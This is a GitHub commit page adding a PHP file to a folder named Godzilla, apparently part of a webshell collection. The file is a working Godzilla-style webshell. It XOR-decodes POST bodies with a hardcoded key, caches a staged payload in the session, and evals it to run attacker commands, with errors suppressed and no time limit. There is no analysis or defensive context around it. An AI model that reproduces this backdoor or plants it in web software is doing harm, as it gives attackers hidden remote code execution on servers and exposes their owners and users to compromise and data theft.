Create 20220213_02.php

This commit is contained in:
tennc 2022-02-13 22:27:55 +08:00 committed by GitHub
parent ccf2230bfa
commit 5f2e172790
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

26
Godzilla/20220213_02.php Normal file
View file

@ -0,0 +1,26 @@
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo encode(@run($data),$key);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}